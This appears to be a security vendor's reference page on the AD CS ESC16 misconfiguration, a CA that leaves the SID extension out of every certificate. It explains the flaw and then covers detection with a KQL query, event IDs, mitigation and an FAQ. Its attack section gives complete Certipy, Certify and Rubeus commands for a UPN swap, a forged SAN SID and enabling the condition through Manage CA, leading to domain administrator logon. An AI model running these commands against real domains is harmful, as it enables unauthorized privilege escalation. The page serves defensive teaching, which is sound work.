1. Resources
  2. Identity Threats
  3. Active Directory

AD CS ESC16: CA-Wide Security Extension Suppression

Also known as: ESC16, Security extension disabled on CA, DisableExtensionList abuse, CA-wide SID suppression

A CA configured to leave the SID extension out of every certificate lets an attacker who can change one account's UPN obtain a certificate that maps to another account.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Specific rights or roles
Write access to userPrincipalName on an account that can enroll in any client authentication template on the affected CA, plus that account's credentials. With ESC6, any enrollee.
What the attacker gains
A certificate without a SID that names a privileged account, accepted where weak mapping is still allowed, or under Full Enforcement when the CA also has ESC6.
Threat groups
APT29NIMBUS MANTICOREFIN13HAFNIUMLazarus GroupSalt TyphoonScattered SpiderTeamPCPVOID MANTICOREGroups that MITRE ATT&CK records using T1649, T1556, T1098.

How it works

An updated enterprise CA writes the enrolling account's SID into each certificate, in the security extension szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2). Domain controllers use it to bind the certificate to one account. ESC9 is a template that opts out of the extension. ESC16 is the CA opting out for everything it issues.

The CA's policy module has a list of extensions it must not add, stored in the registry value DisableExtensionList under the policy module's key (HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA name>\PolicyModules\<module>). When the security extension's OID is on that list, no certificate from this CA carries a SID, whatever the template says. Every client authentication template the CA publishes then behaves like an ESC9 template. A CA server that was never updated past May 2022 produces the same result without the list entry, because it does not know the extension.

A certificate without the SID identifies its owner only by the UPN or DNS name in the subject alternative name. That is a weak mapping, and the abuse is the UPN swap:

  1. The attacker controls an account whose userPrincipalName they can write and as which they can authenticate.
  2. They set its UPN to the target's name, for example administrator.
  3. As that account they enroll in any client authentication template on the CA, such as User.
  4. They restore the UPN.
  5. They authenticate with the certificate. A domain controller that accepts weak mappings resolves the UPN to the target.

Whether step 5 succeeds depends on the validating side, exactly as for ESC9:

  • Kerberos accepts the certificate only on a domain controller that is not in Full Enforcement (StrongCertificateBindingEnforcement 0 or 1). The February 11, 2025 update moved domain controllers to Full Enforcement and the September 9, 2025 update ended registry support for going back.
  • With ESC6 on the same CA, the attacker skips the swap. They request any client authentication template, add the target's UPN, and add the target's SID as a SAN URL (tag:microsoft.com,2022-09-14:sid:<SID>). Because the CA suppresses the real extension, the SAN value is the only SID in the certificate, and the domain controller accepts it under Full Enforcement.
  • Schannel services with UPN mapping accept it under their own setting; see ESC10.

An attacker with the Manage CA right can also create the condition, since that right allows changing the CA's registry configuration (ESC7).

Prerequisites

  • A CA with 1.3.6.1.4.1.311.25.2 in DisableExtensionList, or a CA server without the May 2022 or later updates.
  • For the UPN swap: write access to userPrincipalName on an account that can enroll in a client authentication template, the means to authenticate as it, a target without a conflicting UPN, and a domain controller or service that accepts weak mappings.
  • For the ESC6 combination: EDITF_ATTRIBUTESUBJECTALTNAME2 set on the same CA and Enroll on any client authentication template. No control of a second account is needed.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find a CA that suppresses the extension

certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -vulnerable -stdout

In the Certificate Authorities section, the affected CA lists 1.3.6.1.4.1.311.25.2 under Disabled Extensions and shows ESC16 : Security Extension is disabled. Certify 2.x reports it in its CA enumeration:

Certify.exe enum-cas --hide-admins

On the CA itself:

certutil -getreg policy\DisableExtensionList

2. Swap the UPN of the controlled account

alice has GenericWrite over svc-web:

certipy account -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -user 'svc-web' read
certipy account -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -upn 'administrator' -user 'svc-web' update

If the password of svc-web is unknown, obtain a credential cache through shadow credentials:

certipy shadow -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -account 'svc-web' auto

3. Enroll in any client authentication template

export KRB5CCNAME=svc-web.ccache
certipy req -k -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' -ca 'CORP-CA' -template 'User'

Certipy reports Got certificate with UPN 'administrator@corp.example.com' and Certificate has no object SID, and writes administrator.pfx.

4. Restore the UPN and authenticate

certipy account -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -upn 'svc-web@corp.example.com' -user 'svc-web' update
certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10 -username 'administrator' -domain 'corp.example.com'

On Windows, the same certificate works with Rubeus:

Rubeus.exe asktgt /user:Administrator /certificate:<base64-pfx> /ptt

Variant: ESC16 with ESC6

One request, no second account, and it works against Full Enforcement:

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'User' \
    -upn 'administrator@corp.example.com' \
    -sid 'S-1-5-21-1004336348-1177238915-682003330-500'
certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10

Certipy lists the certificate's identities as a SAN UPN and a SAN URL SID.

Creating the condition with Manage CA

Certify 2.x can switch the setting for an operator who holds the Manage CA role:

Certify.exe manage-ca --ca SRV01.corp.example.com\CORP-CA --esc16

The CA applies the change after Certificate Services restarts.

Impact

Where the certificate is accepted, the result is the same as ESC9: a logon as any account without a conflicting UPN, including the built-in Administrator, with a TGT and the account's NT hash. That is a privilege escalation from control of one ordinary account to the domain.

The difference is scale. ESC9 exposes one template. ESC16 exposes every client authentication template on the CA, including default ones such as User and Machine that almost every account can enroll in, so there is no template to single out and fix.

There is also an operational side. Under Full Enforcement, the certificates this CA issues fail to map at all, so smart card logon and other Kerberos certificate authentication with them stops working. The pressure to fix that by weakening the domain controllers instead of fixing the CA is how the exploitable combination arises.

OPSEC and artifacts

  • Nothing unusual at the CA. The operator enrolls in a default template as a legitimate enrollee. Event 4887 shows svc-web receiving a User certificate. Only the subject alternative name in the newer event version, which shows the borrowed UPN, stands out.
  • The UPN swap is logged twice. Event 4738 records the change of UserPrincipalName to a value without a domain part, and the restore.
  • Weak mapping warning. A domain controller in Compatibility mode that accepts the certificate logs KDC event 39 in the System log, next to the event 4768 for the TGT.
  • The ESC6 variant leaves the SAN in the request. The request attributes or the SAN extension recorded by the CA contain the target's UPN and the tag:microsoft.com,2022-09-14:sid: URL, under the attacker's own requester name.
  • Creating the condition is a CA configuration change. Adding the OID to DisableExtensionList changes a CA registry value and needs a service restart. A change made through the CA's administration interface writes event 4891 when the CA's audit filter covers configuration changes. A change made with certutil -setreg or directly in the registry does not, and shows only as event 4657 where registry auditing covers the CA's configuration key.
  • Every issued certificate shows the gap. Any certificate from this CA can be parsed to confirm the missing extension, so the condition itself is not hidden.

Detection

  • Read the configuration. Check DisableExtensionList on every CA on a schedule. The security extension OID on the list is the finding; it does not need an attack to be worth an alert.
  • CA configuration changes. The CA configuration change rules cover the CA's own events for property and policy changes. Add registry auditing on the CA's configuration key, because a change made with certutil -setreg does not produce those events.
  • UPN rewritten to another account's name. The UPN or SPN collision rules cover a UPN without a domain part.
  • Certificates without a strong mapping. KDC events 39 and 41, covered by the weak certificate mapping rules. Event 39 for many different certificates from the same CA points to a CA that omits the extension.
  • SAN supplied in the request. For the ESC6 combination, the SAN request attribute rules.
// Certificates issued where the subject alternative name does not name the requester
WindowsEvent
| where EventID == 4887 and Provider == "Microsoft-Windows-Security-Auditing"
| extend Requester = tostring(EventData.Requester),
         Template = tostring(EventData.CertificateTemplate),
         San = tostring(EventData.SubjectAlternativeName),
         RequestId = tostring(EventData.RequestId)
| where isnotempty(San) and San != "-"
| extend RequesterName = tolower(tostring(split(Requester, "\\")[1]))
| where tolower(San) !contains RequesterName
| project TimeGenerated, Computer, RequestId, Requester, Template, San

Mitigation

  • Remove the OID from the list on each affected CA and restart the service:
certutil -setreg policy\DisableExtensionList -1.3.6.1.4.1.311.25.2
net stop certsvc
net start certsvc
  • Patch the CA server if the cause is a missing update, so it can issue the extension.
  • Reissue certificates that were issued without the extension and are still needed for logon.
  • Keep domain controllers patched and in Full Enforcement. Do not answer certificate logon failures by lowering the binding mode or re-enabling UPN mapping in Schannel.
  • Fix ESC6 on the same CA. With EDITF_ATTRIBUTESUBJECTALTNAME2 cleared, the combination that defeats Full Enforcement is gone.
  • Restrict Manage CA to Tier 0 administrators, and review who can write userPrincipalName on accounts. The Active Directory hardening guide covers both reviews.
  • Audit the CA. Enable Audit Certification Services and include configuration changes in the CA's audit filter; the audit policy guide covers the rest of the audit baseline.

Detection rules for this attack

Log events to collect

FAQ

How do I check a CA for ESC16?

On the CA, run certutil -getreg policy\DisableExtensionList. If the output lists 1.3.6.1.4.1.311.25.2, the CA leaves the SID security extension out of every certificate. Certipy find reports the same list remotely as Disabled Extensions and marks the CA with ESC16.

Why would a CA be configured this way?

Disabling the extension on the CA was first described in 2022 as a temporary workaround, and administrators may also have applied it to resolve compatibility problems after the May 2022 updates. A CA that never received those updates behaves the same way, because it cannot add the extension at all.

Is ESC16 exploitable when domain controllers are in Full Enforcement?

Not with the UPN swap alone, because a certificate without a SID is rejected. It remains exploitable when the same CA also accepts subject alternative names from request attributes (ESC6): the attacker supplies the target's SID as a SAN URL and the domain controller treats that as a strong mapping.

What breaks if the SID extension is turned back on?

New certificates get the extension, which is what domain controllers expect. Certificates issued while it was suppressed still lack it and fail under Full Enforcement, so they have to be reissued. Check for applications that parse certificates strictly before the change, then remove the OID from the list and restart Certificate Services.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.